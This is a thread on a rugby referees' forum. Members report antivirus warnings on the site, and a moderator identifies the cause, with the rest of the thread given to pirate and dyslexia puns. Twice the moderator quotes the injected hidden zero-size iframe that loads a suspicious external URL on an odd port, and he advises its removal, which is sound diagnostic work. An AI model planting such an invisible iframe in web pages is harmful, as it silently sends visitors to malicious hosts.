Malicious URL

R

Ricardowensleydale

Player or Coach
Joined
Oct 16, 2011
Messages
413
Post Likes
20
Current Referee grade:
Select Grade
Avast has started claiming a "threat has been detected" every time I navigate to RR.com. I know there are a lot of Aussies on here but is that enough to warrant the status of "Malicious URL".
Anybody else getting this?
 
R

Robert Burns

, Referees in Canada, RugbyRefs.com Webmaster
Staff member
Joined
Nov 10, 2003
Messages
9,650
Post Likes
7
What is this Avast? Certainly no issues with the domain.
 
Dickie E

Dickie E


Referees in Australia
Joined
Jan 19, 2007
Messages
14,120
Post Likes
2,137
Current Referee grade:
Level 2
Ian_Cook said:
R.

Or, more correctly...


Arrrrrrgh!
Click to expand...

many incorrectly assume that the letter R is a pirates' favourite letter.

They are, in fact, very fond of the C.
 
D

dave_clark


Referees in England
Joined
May 2, 2007
Messages
4,647
Post Likes
104
Current Referee grade:
Level 15 - 11
chaps - too early. talk like a pirate day is not until the 19th.
 
Phil E

Phil E


Referees in England
Staff member
Joined
Jan 22, 2008
Messages
16,084
Post Likes
2,350
Current Referee grade:
Level 8
Aye, but it takes I a few leagues to get into character matey!
 
T

The Fat


Referees in Australia
Joined
Jul 15, 2010
Messages
4,204
Post Likes
496
Robert,
When I try to log on with my lap top I get the following message
HTML/Iframe.B.Gen virus

My Eset Nod32 AntiVirus quarantine the threat and terminates my connection.

Obviously no such problem on my mobile.
 
Ian_Cook

Ian_Cook


Referees in New Zealand
Staff member
Joined
Jul 12, 2005
Messages
13,680
Post Likes
1,760
Current Referee grade:
Level 2
The Fat said:
Robert,
When I try to log on with my lap top I get the following message
HTML/Iframe.B.Gen virus

My Eset Nod32 AntiVirus quarantine the threat and terminates my connection.

Obviously no such problem on my mobile.
Click to expand...

I've seen this before on a forum.

This is not actually a virus in itself. The antivirus has detected at least one malicious IFRAME tag embedded in an HTML page which is redirecting the browser to a URL with malicious software.

I would be willing take make a small wager that the culprit is this line in your forum.php page

Code: 
<iframe src="[URL="http://www.rugbyrefs.com/view-source:http://birthdateunread.biz:41991/pureadmin/admin4_colon/view.php?join=217"]http://birthdateunread.biz:41991/pureadmin/admin4_colon/view.php?join=217[/URL]" width="0"  height="0"></iframe>

This comes up as a bad gateway.
 
M

Mat 04


Referees in Wales
Joined
Mar 22, 2005
Messages
906
Post Likes
0
Current Referee grade:
Level 2
Avast antivirus and RR website.

For some reason Avast is now blocking the website, I have had to disable it to post this.

The error is this:

Infection Details

URL: http://www.rugbyrefs.com/content.php|{gz...
Process: C:\Program Files (x86)\Google\Chrome\App...
Infection: HTML:Iframe-inf

Any ideas?
 
Ian_Cook

Ian_Cook


Referees in New Zealand
Staff member
Joined
Jul 12, 2005
Messages
13,680
Post Likes
1,760
Current Referee grade:
Level 2
Mat04

I have merged your thread with the previous existing thread on this issue

See my post 12

I believe it is not an actual virus on the rugbyrefs.com website, its an "Iframe" that links to a suspicious url


Here is what I believe the problem is...

This line of code

Code: 
<iframe src="[URL="http://www.rugbyrefs.com/view-source:http://birthdateunread.biz:41991/pureadmin/admin4_colon/view.php?join=217"]http://birthdateunread.biz:41991/pureadmin/admin4_colon/view.php?join=217[/URL]" width="0"  height="0"></iframe>

Has been detected by the Avast antivirus programme as containing a suspected malicious URL

This webscanner lists the URL as belonging to a company called Digital Networks CJSC which is located in the Russian Federation.

http://urlquery.net/report.php?id=4995103

And Digital Networks CJSC has been blacklisted for spamming - http://cleantalk.org/blacklists/AS12695

That URL may have been a legit one for advertising, but because it has been blacklisted, its now causing problems

ROBERT
You need to locate that iFrame in the root directory and remove it.

ETA: I have sent you a PM
 
Last edited:
Phil E

Phil E


Referees in England
Staff member
Joined
Jan 22, 2008
Messages
16,084
Post Likes
2,350
Current Referee grade:
Level 8
How much does it cost a pirate to get a piercing?



A buck an ear!
 
T

tim White


Referees in England
Joined
Mar 14, 2005
Messages
1,997
Post Likes
256
Pirates don't buy their wine by the bottle, they get it by the Galleon:smile:

This conversation proves how many people read this far down the topic list, well done if you got this far.
 
Browner

Browner

Banned
Joined
Jan 20, 2012
Messages
6,000
Post Likes
270
i got thrown out of my health club for being dyslexic .......... my cutlass, eye patch and parrot were considered unwelcome in 'pilates'
 
Last edited:
Phil E

Phil E


Referees in England
Staff member
Joined
Jan 22, 2008
Messages
16,084
Post Likes
2,350
Current Referee grade:
Level 8
I knew a dyslexic pimp...........he bought a warehouse.
 
Dickie E

Dickie E


Referees in Australia
Joined
Jan 19, 2007
Messages
14,120
Post Likes
2,137
Current Referee grade:
Level 2
Have you heard about the guy who discovered that he's both dyslexic and gay? He's still in daniel!
 
You must log in or register to reply here.
Top